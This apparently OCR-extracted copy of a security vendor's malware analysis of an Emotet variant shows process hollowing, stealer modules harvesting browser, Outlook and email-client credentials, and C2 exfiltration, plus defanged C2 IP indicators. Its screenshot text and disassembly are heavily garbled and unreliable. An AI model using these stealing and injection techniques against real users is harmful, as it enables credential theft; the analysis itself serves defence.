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Fortinet’s FortiGuard Labs recently captured more than 500 Microsoft Excel files involved in a campaign to

deliver a fresh Emotet Trojan onto the victim’s device.

Emotet, known as a modular Trojan, was first discovered in the middle of 2014. Since then, it has become very
active, continually updating itself. It has also been highlighted in cybersecurity news from time to time. Emotet
uses social engineering, like email, to lure recipients into opening attached document files (including Word, Excel,
PDF, etc.) or to click links within the content of the email that downloads the latest Emotet variant onto the

victim’s device and then executes it.

In Part I of this post, I explained how this variant of Emotet is spread by malicious VBA code in Excel documents,

how the downloaded Emotet malware runs within a Rundll32 program, what kind of anti-analysis techniques this
variant uses., how it encrypts and submits its victim’s data to its C2 server., what Emotet does when it receives

response data from the C2 server, and what Emotet does to enable persistence on the victim’s device.

In this post, you will learn what the data in response packets with malicious modules look like, what modules have
been received from the C2 server for the current Emotet campaign, and how they are deployed in the victim’s

device. You will also discover what sensitive data those modules steal from a victim’s device.

Affected platforms: Microsoft Windows
Impacted parties: 64-bit Windows Users
Impact: Controls a victim’s device and collects sensitive information

Severity level: Critical

When X.dll Receives a Response with a Module

Once the C2 server has processed and detected the first submitted packet that includes critical data—such as the
victim’s device system version, Windows architecture, etc.—it replies with malicious modules for Emotet to
execute in the victim’s device. All the received modules are fileless. That is, they only exist in memory and are

processed by the X.dll (the core of Emotet) running in Rundll32.exe.
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’:- rundll32.exe - PID: 2284 - Thread: Main Thread 4088 - :3_2d_bg [Elevated]
Fle View Debug Tradng Plugns Favourites Options Help  May 8 2021 (TitanEngine)

CoE 0 Yy Tl ePis L EHE
Bcou | @ mrespoints | M MemoryMap | () CalStack | S0 SEH | ) symbols | Treescs | 5 Handes
10013FS0 51 push ecx
1001 3F 51 FFE424 SC0O00000 push dword ptr ss:Eeig—i ]
FFE424 A4000000 push dword ptr ss:fespra4
EE8C24 E£0000000 mov ecx,dword ptr 5s5:[Qesp+s0]
EESE 04 mov edx,dword ptr ds:[esi+4] edx:"h™\x07", esir
Ed push eax
EE C2E3IFFFF €8]l 10012371 decrypt
83C4 3B add esp,38
364424 50 omp eax,dword ptr ss:fesp+so]
« 74 1D je 10013FDS
B9 S08SEGOE mov ecx,EEGE550
~ ES CIFEFFFF jmp 10013E8B3
1001 3EC2 BES 7345120E mov eCx,E124573%
10013FC7 B1FS 74C1110C cmp ecx,C11C174
1 N0 2ECT ~ MNFRE BOFFFFFE ine 1001 IFRY
A I ¥
@eDump1 | WWOuto2 | GkDump3 | Ykoump4 | @ubumps | B watchi | be-liocal | 7 struct
Address | Hex | ASCII -
ittt bttt A e
02DE2200 95 DE 5D 4D |4E AS 2B 47 |AC 2D 49 2....B]MNE+G=~I. [
02DE2210 &8 34 OC CZ 6D 95 79 D&|12 ZE B6 :_,_1Ai1-1.ﬂu:l'_!,yﬂ,:-.* Bp
02DE2220 B1 4C BB 4E|C4 AZ B5 BS |10 3E BO J&37..L.NAS, U ="+
0ZDEZZ30 SAIDC C4 C8 Ealps as 27 " B.Ta&ZUAEeDe "=
0ZDE2240 20 94 07 00|00 00 00 OO0 18 54 07 OO|u.¥¥
0ZDE22S0 14 00 00 0002 00 OO0 00|17 16 96 28
02DE2260 L o w02 o0 ou oo
02DE2270 FF FF 00 0OO|EB OO0 OO0 00|00 OO0 00 OO
02DE2280 00 00 00 00|00 00 00 00|00 00 00 OO
0ZDEZ2Z290 00 00 00 00|00 00 00 00|00 OO0 00 OO :
Q2DE22A0 EE 00 00 OO|OE 1F BA OE|QOD B4 09 CDJ.... v aa®n
OZDE2Z2ED D 21 54 6B|69 73 20 70|72 &F &7 72|! .LI!This progr
0ZDEZ2CO &1 6 GE &F|74 20 62 65|20 72 75 &E|am cannot be run
0ZDEZ200 44 4F 53 20|60 &F 64 65 |2E 0D 0D 0A] in DOS mode...
0ZDEZZED 00 00 00 OO0|DF B4 A6 AF|9B ES CB FC|5....... E.! .&aEW
02DEZ22FOD 98 ES CB FC|E6 9C 2D FC|1C E4 CB FC|.AEd.AEde.-i.3Ed
02DE23200 94 ES CB FC|52 69 632 GB|9E ES CB FC|=..0.AEGRich.AEQ
02DE2310 00 00 00 00|00 00 00 00|00 00 00 00)......... L 000000C
02DE2320 4C 01 04 DO(pC 53 13 62|00 00 00 OO|PE..L...Us.b.
02DE2330 ED 00 02 21 OC 00 BB OF 00 ..ceBunlonnsnnms
0ZDEZ2340 00 00 00 00|70 &7 OF 00|00 10 00 OO0 ........ Inpccoas i
Fl [Tl ] k
nands are comma separated [like assembly instructions): mov eax, ebx

| Fesed | Dump: D2DB242A > 02D6242A (0x00000001 bytes)

Figure 1.1 — A decrypted module in the packet

Figure 1.1 is a screenshot of X.dIlI’s code and memory. The bottom is a C2’s response packet, just decrypted in

memory by calling a function of 10012371. Referring to Figure 5.3 in part I of this series will help you understand

the structure of the packet.

The box marked in red is the verification data (99 DE ... DD A5), a signed hash of the rest data of the packet. The
following dword, 0x00000000, marked in yellow, is a flag that tells Emotet how to run the replied module. 0x00
tells it to execute the module in a newly-created thread. The binary block in blue is the module. It starts with the

module size, 0x79400 in this example, and the rest part is the module binary data (4D 5A 90 00 ...).
Emotet has to verify the decrypted data, as shown in Figure 1.1, using the 40H verification data.

It then deploys the received module into memory and prepares to execute it. It then calls its entry point in a newly
created thread. This post will refer to this module as a “thread-module.” Its primary purposes are to extract and
execute the final functional module that steals sensitive data from the victim’s device and to submit the stolen data
to its C2 server, which will be discussed later in this analysis. Figure 1.2 shows where the thread function ASM

code calls the entry point of the deployed thread-module.
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10009137 thread_fun proc near ; DATA XREF: sub_1801CADC+3B1 0
18AR9137
18889137 wvar_20 = dword ptr -28h
18869137 var_1C = dword ptr -1Ch
18089137 var_18 = dword ptr -18&h
180880137 var_ 14 = dword ptr -14h
18089137 var_ 18 = dword ptr -18h
100089137 wvar_C = dword ptr -8Ch
10089137 var_8 = dword ptr -8
10009137 var 4 = duword ptr -4
109137 arqg_0 = dword ptr &
18089137
10089137 push ebp
18089138 nov ebp, esp
18089130 sub esp, 28h
(X1}
10009178 push 5]
1008917C push 1
1000917E push duord ptr [esi+28h]
18089181 call dvord ptr [esi+iCh]
18000184 test BaX, Cax
10089186 iz short loc_ 10000102
10009188 now eax, [ebpruar 8]
10000188 nou Bax, [ebpruar &)
1000918E call get wictim id
10009193 nou [ebpruar_ 20], eax
10009194 noy eax, [esi+OCh] ;
10009199 nou [ebpruar_14], eax
1008919C nowy eax, [esi«i8h] 5
1008919F nou [ebpsuar_10], eax
10089102 nov eax, [esi+1dn]
1000 1AS nov [ebp+uar C], eax
10000108 1lea pax, [ebpruar 20]
10009 1AE push K
1009 1AE push 10
10009 1AE push duord ptr [esi+?8h] ;; The thread-module’s base address.
18089101 noy [ebpruar_ 1G], offset dword_1000168660 ; ;. LUCCKT &
10089108 suar : i LUECSY
1000918F duord pte [esi+1Ch] ; The theead-nodule's entreypoint.
100091CE nou esp, ebp
100891C7 pop ehp
100091CH retn L
1AAA91CE thread_fun  endp

Figure 1.2 — Emotet thread function to call the thread-module’s entry point

Thread-Module — Performs Process Hollowing

The thread-module proceeds to decrypt a PE file, the final functional module, from its .text section into memory.
To execute this module, it performs process hollowing. It does this by copying a Windows file, “certutil.exe”,
from either “%Windir%\SysWOWG64\certutil.exe” or “%Windir%\system32\certutil.exe” into the “%temp%”
folder. It then renames it to a random file name, like “uvbubgj.exe”. Next, the thread-module creates a suspended

process with this file.
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| ® Breakpoints | 88 Memory Map | L)) call Stack | EfSE}-H%GM—'M-readS | #5 Handles | B cru |

| 74e01030 | mov edi,edi I CreateProcessw
push ebp

mov ebp,esp
push o
push dword
push dword
push dword
push dword
push dword
push dword
push dword
push dword
push dword H
push dword : febp+:s]
push 0O
call <kernel3z.CreateProcessInternalwy
pop ebp
EEE 2=
nop

nop
ey

i |

F0ZEFSAFD| return to 02EFSAFD from 777
00000000
032EF380)L"Y"C:\\Users'\Bobs\\AppData‘Local’\Temp \\\\uvbubqgj.exe\" /scomma \"c:\\Users\\Bobs\\AppData\\Loca‘l\\Temp\\EDBZ.tmp\""l
00000000

00000000

[62353554] CREATE_SUSPENDED

00000000

032EF158
032EF13C
00000004
0000284F

Figure 2.1 — Call API CreateProcessW() to create a suspended process

As you may see in the command line string in Figure 2.1, “uvbubgj.exe” is the copied “certutil.exe”, “/scomma”
and the subsequent temporary file —“C:\Users\Bobs\AppData\L.ocal\Temp\60B2.tmp” — are the parameters for
the process. The temporary file name is generated by calling the API GetTempFileNameW(). The path of the
temporary file “60B2.tmp” is read by the functional module and used to save stolen information. The sixth
argument to CreateProcessW() is 0x00000004, which is a creation flag indicating “CREATE_SUSPENDED” with

which CreateProcessW() creates a process and enters suspended status.

It then calls a group of APIs, like GetThreadContext(), Virtual AllocEx(), ReadProcessMemory(),
WriteProcessMemory(), and so on, to inject the final functional module into the new process’ memory. The API
SetThreadContext() is called later to set the new process EIP register pointing to the entry point of the functional

module, which is invoked after calling the API ResumeThread().

Afterward, the thread-module starts to monitor the temporary file in a loop until it is created with the stolen

information from the victim’s device.
Looking at the Functional Modules

In the above analysis, I explained how a C2 module is loaded and executed in the victim’s device.

The C2 server can return many modules, each going through the same process as described above. They will have

a thread-module, run in their thread, and perform their own process hollowing.
I received three C2 modules. I will elaborate on how they work on the victim’s device in the following sections.
Modulel - Stealing Credentials from a Victim’s Browsers

A Self-Extracting packer protects this module. It decrypts a PE file when it runs, overrides the existing code of

“certutil.exe”, and then gets it executed.

The unpacked PE file is a freeware called “WebBrowserPassView” developed by NirSoft. It was designed as a

password recovery tool but has been abused by malicious actors to steal the victim’s credentials. A user interface
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displays the saved credentials stored within several web browsers.

-
ﬁWebBrowserPassView e
File Edit View Options Help L=l

EEEYEE!

URL Web Browser  User Name Password Password Strength  User Mame Field Password Field Created Ti... Modified ...
& fip://ttp.diptest.com/ Chrome u 11/8,/2018...
& ftp:/ftest.rebesnet/ Chrome B @ 11/8/2018...
@https:,a'_a'accounts.google.com Firefox 32+ Er password 5/11/2018... 5/11/2018..
@https:_r’_r’mega.nz Firefox 32+ - ‘wiebBrowserPassView v2.08 amez? login-password2 5/10/2021... 5/10/2021..
& https://secure.meetup.com... Chrome Copyright (c) 20:” SRR password 8/27/2018...
& hitps://www.amazon.com/... Chrome bitp:// v nirsoft.not password 11/8/2018...
& hitps:/fwww.bankofameric.. Chrome H1 passcodel 8/23/2018...
& https://www.bankofameric.. Chrome i1 passcodel 11/8/2018...
& hitps://www.facebook.com/  Chrome S pass 5/14/2018...

9 Paszwords, 1 Selected NirSoft Freeware. hitp:iwww.nirsoft.net

Figure 3.1 — Open the WebBrowserPassView module

Figure 3.1 shows what this module looks like when I open it in my test environment. This Emotet variant uses
WebBrowserPassView v2.06.

Its thread-module passes command line parameters like “/scomma
C:\Users\Bobs\AppData\Local\Temp\7B3C.tmp” to the process, which can switch WebBrowserPassView to a No-

Window mode and save the retrieved credentials to a given temporary file.
From its code, I learned it could collect the credentials from a variety of web browsers:

Microsoft IE, Microsoft Edge, Google Chrome, Mozilla Firefox, Opera, Apple Safari, SeaMonkey, Yandex,

Vivaldi, Waterfox, and all other Chromium-based browsers.
The stolen credentials contain the following information:

* URL: The URLs that credentials are saved for

* Web Browser: The browser name that holds the credentials

» User Name, Password: The credentials

* Password Strength: Strong or weak

* User Name Field: The control name type into the user name field
* Password Field: The string entered in the password field

* Created Time: When it was saved

* Modified Time: Time when credentials were updated

* Filename: What file it has stolen the credentials from
All the credentials are saved in a temporary file.
Module2 - Stealing Email Contact Information

This module steals its victim’s email contacts from their email folders inside Microsoft Outlook by going through

the victim’s emails one by one. It keeps the gathered contact information in a doubly-linked chain structure.
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Figure 4.1 shows one email contact obtained from an email within my test Outlook account that was then added
into the doubly-linked chain, as shown at the bottom. The collected data shows the Person name and Email
address of the email sender. In this example, it collected “Outlook” and “outlook@email2.office.com” from the

displayed email message.

@& |- Inbox - N @cutlook.com - Microseft Qutleck

= = 32
File. Home Send / Receive Folder View Developer Ll e
4 Favorites g - q
3} inbox searchInbox (Ctrl-E) £ Get more done on your mobile phone with Outlook
. FY . ol
(=) Sent Items ranogByiDate Outlook <outlook@email2.office.com > i
=
@ Deleted Items © If Wgere are problems with how this message is displayed, click hfre to view it in a web browser, =]
_______________________________________ 4 Older Click here to download pictures, To help protect your privacy, Oftlook prevented automatic 5
dowNoad of some pictures in this message, g
4 e @outlook.com = | k= Outlook.. . 3
Se 5
T i - a
— {4 Outlack .. 0 =
[ sent tems Gt mor., = =
5 Deleted tems (33 Outlook . - o L g_
r_a Junk E-mail 5] Downlo... Productivity on the go | View it online 3 rn
[[3) outbox [~ Outlook .. I
L@ search Folders Do more... L 4
v
[=d Outlook .. )
. Control ... |z| download pictures. To help protect your privacy, Outlock prevented automatic d g
d Mail e Tmdmem i ]
[~ Outlook .. =
=
ﬁ Calendar Free up .. g
[—d laf laf 5/. . =
&) conocs Stay focused with Outl-
B [ laf laf 5/... L n »
@ Tasks Microso..
L= Microso... Outlook ~
Ll O3 [ - Microso... e
Items: 34 | \ | O f2 100% (=)
[ k1

| B4y Dump 2 | 24 Dump 3 | 4y Dump 4 | B4 Dump 5 | ) watch 1 UitlDurn§ | |=] Locals | ;’Struct |
Address ASCII

0O0ZBAZ98

0028A3AB 00 00
00 0

oo: Prev Contact »| Next Contact
00 0 [uuuo uu U uu uu
Q028AZES| 00 00 00 00|00 OO 00 0000 00
0028A3FE8| 00 OO OO OO(0O OO OO OO(OO0 OO
0028A408| 00 00 00 00|00 OO OO0 OO(0O0 0O
0028A418| 00 00 00 00|00 00 00 O0(gE QO 7 i
0028A428| gE 00 GF 00|6E OO0 40 00|&E 00 €D 00
0028A438|6C 00 32 00|2E 00 GF 00
0028A448 |65 00 ZE 00|82 Q0 6F 006D OO0
0028A458| 00 00 00 O0O|00 OO OO0 OO(OO0 0O
0028A468| 00 00 00 00|00 OO OO0 OO(00 0O
0028A478| 00 00 OO OO(0OO OO OO OO(OO0 OO
0028A488| 00 00 00 00|00 OO OO0 OO(0O0 0O

0028A498| 00 00 00 00|00 OO0 OO0 00|74 E2 40 AL 28 Q0
0DZB8A4AE |01 00 00 OD|AE AE AE AE|AE AB EE FE EE FE|....&
0028A4B8| 00 00 00 00|00 OO OO0 OOD|F4 22 6A 34 00 1C

Figure 4.1 — One stolen contact in a doubly-linked chain

This module enumerates all collected emails and puts the unique email contact information into the doubly linked
chain. To collect Outlook’s data, it has to call several APIs, including MAPIInitialize(), MAPILogonEx(), and
MAPIFreeBuffer(), as well as create some COM objects by calling the API CoCreatelnstance(), such as
OlkAccountManager and OlkMail.

Finally, it retrieves those email contacts from the linked chain one by one and saves them into the temporary file
that comes from the command line parameter. Figure 4.2 shows a screenshot of the temporary file,

“%temp%\6827.tmp” in this example, along with the collected email contacts.

Page 6 of 11



https://www.fortinet.com /blog/threat-research/ms-office-files-involved-again-in-recent-emotet-trojan-cam paign-part-ii

@uv| , ¢ Bobs » AppDataf» Local » Temp » - |¢¢|| Search Temp p|
Eile Edit View Tools Help
Organize - ] Open Share with - Mew folder s o« [ I@l
Low VBE VsHub WPDMSE ~DFIECIFE  ~DFIFGC29  ~DF82B86C ~DF768144
IBFD2CTDT  O55094E2CS  FA4ESCIES  12744E084D
9.TMP TP B.TMP TMP
6827 tmp izdkqkf.exe
6827 tmp Date modified: 3/3/2022 11:49 AM Date created: 3/3/2022 11:49 AM

TMP File Size: 1.64 KB

Figure 4.2 — The temporary file with stolen email contact information
Module3 - Stealing Account Settings of Victim’s Email Clients

This functional module focuses on stealing its victim’s email account settings and the credentials from their email

clients. It is also a packer-protected module, so it does the same thing as Modulel when its entry point is called.

According to my analysis, the unpacked PE file is an EXE file that is another freeware from NirSoft called “Mail
PassView”. It was originally designed as a small password recovery tool for email clients. Emotet is using the

latest version—v1.92. Figure 5.1 is a screenshot of this software running on my test environment.

5 Mail PassView (o= |[=]

File Edit View Help

| Nada

MName Application Email Server Server Port Type User Password  Profile

B4 Myemail  MS Outlook 2002/2003/2007/2010 sl @ outlook.com pop-mail.outl... 995 POP3 N @ cutlock.com Outlook
Mail PassView (2]

Mail Pass\iew v1.92
Copyright [c] 2003 - 2021 Mir Sofer

hittp: / /www. nirsoft.net

~ '

1 items

Figure 5.1 — Open Mail PassView in my test environment

Going through its code and constant strings, we learned it could obtain email account settings and credentials from

the following email clients or other clients that could save email credentials:
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Mozilla Thunderbird, Eudora, Microsoft Outlook, Microsoft Outlook Express, Windows Mail,
MSNMessenger, Windows Live Mail, Group Mail, IncrediMail, Yahoo! Mail, Yahoo! Messenger, Hotmail,

Google Desktop, and Google Talk.

It collects the settings and credentials from both the system registry and the local configuration files of these email

clients. Figure 5.2 is a segment of the ASM code from a common function that has predefined many value names.

The software repeatedly reads User Name, Server Address, Server Port, and similar information from the system

registry through these value-names under the subkeys "HKCU\Software\Microsoft\Internet Account

Manager\Accounts" and "HKCU\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts", which

are the places to save the settings and credentials for Microsoft Outlook and Microsoft Outlook Express.

aeL02440
28402440
aaLa244B
aaLa244F
aaLa245%
aaLa24546
aaLa2457
08482458
a840245F
08402466
a4 246D
aeLna2u7y
aeL0247B
aeLa2482
aeL02489
aaLnaz2490
aaLua2497
284 a240F
aaLa24A%
aaua24Ac
aaL 2483
084824BA
a84824C1
a84024C8
aeL024CF
aeLa24D6
aeLa24DpD
a04024EY
884 024E6
B84 A2L4E6
B84 A24E6

push
1lea
sub
push
push
push
nov
nov
nov
nov
nov
mnouw
mnouw
mnouw
nov
nov
nov
nov
nov
mov
nov
nov
nov
nov
nov
mnouw
Xor

loc_4B24E6:
push

ebp

ebp, [esp-6Ch]
esp, 488h

ebx

esi

edi

[ebp+aCh+var_ 28]
[ebp+6Ch+var_71C]
[ebp+6Ch+var_ 18]
[ebp+6Ch+var_14]
[ebp+6Ch+var_58]
[ebp+6Ch+var_A4C]
[ebp+6Ch+var_48]
[ebp+6Ch+var_L4k]
[ebp+6Ch+var_3a]
[ebp+6Ch+var_2C]
[ebp+6Ch+var_28]
[ebp+6GCh+uar_24]
[ebp+6Ch+1pUaluel
[ebp+aCh+var 3C]
[ebp+aCh+var_ 38]
[ebp+6Ch+var_34]
[ebp+6Ch+var_ 18]
[ebp+6Ch+var_C],
[ebp+6Ch+var_8],
[ebp+6Ch+var_4],

ebx, ebx

offset aPop3UserHame ; “POP3 User Hame™

offset almapUserMame ; “IMAP User Hame'

offset aHttpmailUserMNa ; "HTTPHail User Hame™
offset aSmtpUserMame ; “SHTP USer MHame®

offset aPop3Server ; "POP3 Server”

offset almapServer ; "IHMAP Server®

offset aHttpmailServer ; "HTTPMail Server™

offset asmtpServer ; "SHIP Server®

offset aPop3 ; "POP3™

offset almap ; “'IMAP*"

offset aHttpmail ; "HTTPHMail™

offset asmtp ; “SHTP™

ame], offset aPop3Port ; "POP2 Port™

offset almapPort ; “IMAP Port™

offset aHttpmailPort ; "HTTPHail Port™

offset aSmtpPort ; “SHIP Port™

offset aPop3SecureConn ; "POPZ Secure Connection”
offset aImapSecureConn ; “IMAP Secure Connection™
offset aHttpmailSecure ; “HTTPHMail Secure Connection™
offset aSmtpSecureConn “"SHMTP Secure Connection'

; CODE XREF: sub_48244A+1CAL]

88h H

Size

Figure 5.2 — Defined value-names for reading from the system registry

This time, the command line parameter string to this software is "/scomma

C:\Users\Bobs\AppData\Local\Temp\8042.tmp", where "/scomma" allows the process to run without a window

and save the retrieved information to the temporary file followed.

Thread-Module — Submit Stolen Data

With the functional modules working to steal sensitive data, the thread-module keeps monitoring the temporary

file until it is created with the stolen information.

It then loads the stolen data from the temporary file to memory and then deletes the file. Before submitting the

stolen data to the C2 server, it compresses the data and encrypts it.
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0Z2F09459 push ecx

0ZF09454 push dword ptr ss:[[esp+c4]]

0ZF0945E push dword ptr ss:|[esp+335]

0Z2F09465 push dword ptr ss:|[esp+45]

0Z2F09469 push dword ptr ss:|fesp+50§

02F0946D push dword ptr ss:|lesp+t s

02F09471 push dword ptr ss:|lesp+oCj]

02F09478 mov edx,dword ptr ds:[edi]

02F09474 ITal ala | Irn-lﬂ ffl[:f:ﬂ D:"]
rcan ZFO773A BCryptEncrypt |

0ZF09486 T ——

02F09489 cmp eax,dword ptr ss:|lesp+2:j

02F0948D v |je 2F09518

02F09493 mov ecx,2ESAGFO

N?EN9498 ~ | dimn 2EN93CFE

4 | m

Weoumpl | @ypbump2 | W4oump3 | @pump4 | Wyoumps | @ wath1 | bellocals | struct |

Address | Hex ASCIT
00479000 [ A3 00 00 00]00 00 00 00]6D 1C BD OE[21 88 00 OBl f.......M.%. ...
004720E0[ER U3 OO Ul cd o0 O ou|es 3B 1f Cf |98 fu 4ar DEfé... ...i5.A.pop

004790F0) 86 3A 3E 18|CO 16 46 3B|36 C8 7B BS|17 08 32 FC|.:=.A.F;6E{ ..20
00479100|D3 CE BE A4|C9 33 3C 4A|A9 03 00 00|14 00 00 0O DI%HES<I®.......
004739110017 16 96 25|10 00 00 0042 4F 47 53|58 50 43 SF)...(....BOBSXPC_
004791200 29 42 20 29142 S5 29 S22 89 U3 00 U010 BE BE 4L 9C0O9B532..... URL

004791300 2C 57 65 62(20 42 72 6F|77 73 65 72|2C 55 20 04],web Browser,U ,
00475140]0D 20 4E 61 (6D 65 2C 50|61 72 72 77|6F 72 &4 EO|. NWame,Fassworda
00479150000 08 08 20|53 74 72 65 |6E &7 74 68|EO0 01 Z4 04]... Strengtha.%.

00479160) 20 46 69 65 |6C EO 02 21|01 46 69 40(|0E 09 43 72| Fiela.!.Fi&@..cCr
00479170J65 61 74 65|64 20 54 69|20 46 05 4D|(6F &4 &9 &66leated Ti F.Modif
0047918069 CO OD 04|46 69 6C &5 |6E 20 5D OF |00 0OA &6 74]iA..Filen J...fTt
00479190] 70 3A 2F 2F |20 05 11 2E(64 &C 70 74|65 73 74 2E]p:// ...dlptest.
004791A00 62 6F €D 2F |2C 42 &8 72|6F 20 25 04|64 &C 70 7S5]com/,Chro S.dlpu
004791B0J 31 20 BA 01|40 64 EO 01|1C 1D 2C 2C|2C 2C 2C 23101 ..2da...,,,,.1
004791C0O) 31 2F 38 2F |32 30 31 38|20 34 3A 35|37 3A 30 38)1/8/2018 4:57:08
004791D0J 20 S0 4D 2C |2C 432 A SC |40 BS 1B 732 (5C 42 &F &2] PM,,C:\2 .s\Bob
O04791EQ0) 73 SC 41 FO|70 44 61 F4|61 5C 4C &F|(63 &1 &C SC|s“AppData‘Local®,
004791F0) 47 &6F &F &7 |6C &5 GSC BO|S58 01 SC S55(20 54 01 20]Google’.X. U T.

004792000 44 40 1D 06|44 &5 &6 61|75 &C 74 20(25 03 &7 &69]D&..Default %.gi
00479210 6E 20 40 3F0(01 OD OA Z0|BE 02 3A 2F(2F &0 BD 0O8)n 20... ..:ff\..
00479220|72 65 62 65|78 ZE GE 65|74 EO 01 93|02 65 &0 &F|rebex.nesti...emo
e e I I e e e e = A S

4| 1 |

Figure 6.1 — Call BCryptEncrypt() to encrypt the stolen data

This example, shown in Figure 6.1, is where it was about to call the API BCryptEncrypt() to encrypt the packet,
which begins from 4790EOQ. The section outlined in red is like the packet header. It contains the packet type
(0x3EA) that tells the C2 server what kind of data is in the packet, a sha256 hash code (69 35 ... 3C 4A) of the
data, a module ID (0x14), as well as the Victim’s ID. The subsequent data, marked in blue, starts with a data size
(0x398) of the following data (from 10 55 52 4C ... to the end), which are the compressed web browser

credentials.

This thread-module uses eleven C2 servers to receive data stolen from the victim’s device. The IP and Ports of
these C2 servers are encrypted in memory and get decrypted before submitting the stolen data. The three
downloaded modules have the same C2 server list, which can be found in the “IOC” section at the end of this

analysis.
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Intercept | HTTP history TWEhSU(kEts history T Options ]

‘ Filter: Hiding ¢S5, image and general binary content |®
# 4 Host | Method | URL Params | Edited | Status | Length | MIME type | Extension | Title |
3003 https://144.217.86.125 POST MLfhHeScOXNYScQgONAqUACMRepWwCEWrGeaGms]kvQoditEWOGQwbA o 200 362 HTML
3004 https:#131.100.24 231:80 GET ndc 200 1002 HTML
<L J "

Request | Response
Raw FarameTHeadere Hex

POST ltIthHeS:OKN\'S:O ONAQUACMRe pwCEwr Gca Gl dltﬁ\‘DGDﬁ‘bMII’NT HTTP/1.1 i
; r
I Host: 144 217,868,125
4 Content-Length: 1245
5 Connection; close
& Cache-Control: no-cache
EAEEEEE TR VGyulgWy
10 Content-Disposition: form-data; name="bwiken*; filename="nXgjbcXv"
11 Content-Type: application/octet-stream
1z
13 QUN= gDIxEvoT 0 ) Opfi} 630w~ Begii ‘DAFOWA *OpweTGEN0DE dxs-3x+0 02;VD
[»+SOA000SOXG) 4601 yDiuaHE A eSeSE ~Ene, Hy L ITONS Mk "=e0wi( Ix<4500A%K ToéaLPONdYh-Fe~"#3=~E0u_hi | =P LA0GHID-KS! | ; PUDT AsiKe X000 I0+dyKD: 0- *A%=Ugaut *XOO0Ts, VOE UcDOA+ kel adKT:
BngANDBYExunuanDzlﬂMgZ:JRE Z»} | ¥us-4gvk(r s0 “S0u;i TON<¥be0NE/ 1K1 ak Zhi VX6 | N7bELOAPAREY] 5=(]] ~COMBOpORU Ack2 Ut bBADE |
0°2c0y 1 y3AJ FOAN] abAas 0 A21 Ui @U- SOpBEYUNT?{[To[i¥i2U{E 5. Khiec1®"@h~ [oEsnE[II0oVaQll-£[202 V' oxW*3INS(pObOGAD. FF1Be0-E]ifipw{r*{l ¢(Opie 800
ye0n@<w, deM-[0° | 2hkrkFé BCEAe(E ¥5 7[R0+ Ao [#COP-6 U “Ke<n " (NuuAsBO=0A]: "K-AEA: mé[s 1" gq~\4%Y35 | GOK[I6F- Tt 05G30P> yulMyfef~) GXpnTMSBUD" A ¥#a[V-11 BOxA? ATIMOODN 1 ¥
EE¥ /30 -7, (uT¥Sas/ A»_%20aDy (PGET?[HL Wi {a0ae%0x]5zd[ =000l DOVeiTEdy £[0=
14 ONODii0BGV, DOBUE-| [»¥[edoaYIUs£2406" AUGQ™pAMGS. NB* ) [I”gaE6lloxs"ae(KuBOEDA( OT:* 1 {0ail0A- <}~i00d#@dsOATI 0. {Mu. 0! »i*EGOD DExOPEs_ (r | Bl, - DBAN[IE= aU( u¥(BSE[RONMD* T£ULTT
&t "B (*FS+B0 1 SCO-2 &0 J0* Ank~e
IS P VGyuighy-- 5
v
@i (&) (2] [sezreh... 0 matches | \n Pretty

Figure 6.2 — Display of a captured packet to C2 server with encrypted data

Figure 6.2 is a screenshot of a proxy tool showing how the packet with the stolen victim’s sensitive data is sent to

its C2 server.

It uses the HTTP Post method with a randomized URL to submit the stolen data in the body, which consists of a
40H-long exported key at the beginning with the encrypted data following, as shown in Figure 6.2. The C2 server
can decrypt the submitted data using the 40H exported key.

Conclusion

In Part II of this analysis, I started with a received module packet from a C2 server and explained the structure of
the packet. Next, I showed how the module (thread-module) is executed in a newly created thread. We then

walked through how the thread-module performs process hollowing to execute the functional modules.

In discussing the three received modules, I elaborated on what kind of data Emotet can steal from the victim’s
device, such as email contact information from the victim’s email account, the email account’s settings, credentials

from the victim’s email client, and credentials saved in a wide range of web browsers.

Finally, going back to the thread-module, Emotet reads the stolen information from the given temporary files. It
then compresses and encrypts the data, which is ultimately submitted using the HTTP Post method to the C2

server.

Fortinet Protections

Fortinet customers are already protected from this malware by FortiGuard’s Web Filtering, AntiVirus, FortiMail,

FortiClient, FortiEDR, and CDR (content disarm and reconstruction) services, as follows:

The malicious Macro inside the Excel sample mentioned in Part I of the post can be disarmed by the FortiGuard

CDR (content disarm and reconstruction) service.

All relevant URLs have been rated as "Malicious Websites" by the FortiGuard Web Filtering service.
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The captured Excel sample and the downloaded Emotet dll file are detected as "VBA/Emotet.2826!tr.dldr " and "
W32/Emotet.B185!tr" and are blocked by the FortiGuard AntiVirus service.

FortiEDR detects both the Excel file and Emotet dll file as malicious based on its behavior.

In addition to these protections, Fortinet also provides multiple solutions designed to help train users in detecting

and understanding phishing threats:

We encourage organizations to have their end users take our FREE NSE Training: NSE 1 — Information Security

Awareness. It includes a module on Internet threats designed to help end-users learn how to identify and protect

themselves from various types of phishing attacks.

This training can then be reinforced using our FortiPhish phishing simulation service. It uses real-world attack
scenarios to train users, test awareness and vigilance, and reinforce proper practices for handling phishing

incidents.

10Cs

C2 Server List in the three thread-modules:
144[.]1217[.188[.1125:443
67[.]1205[.1162[.168:8080
54[.136[.198[.]159:7080
45[.1184[.136[.110:8080
47[.1110[.]1149[.1223:8080
159[.165[.]11[.]71:8080
51[.]1178[.]1186[.1134:443
131[.]100[.]124[.]1199:8080
51[.]91[.]142[.]1158:80
51[.]179[.]205[.]1117:8080
176[.131[.]163[.]117:8080

Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security

Subscriptions and Services portfolio.

Source: https://www.fortinet.com/blog/threat-research/ms-office-files-involved-again-in-recent-emotet-trojan-campaign-part-ii
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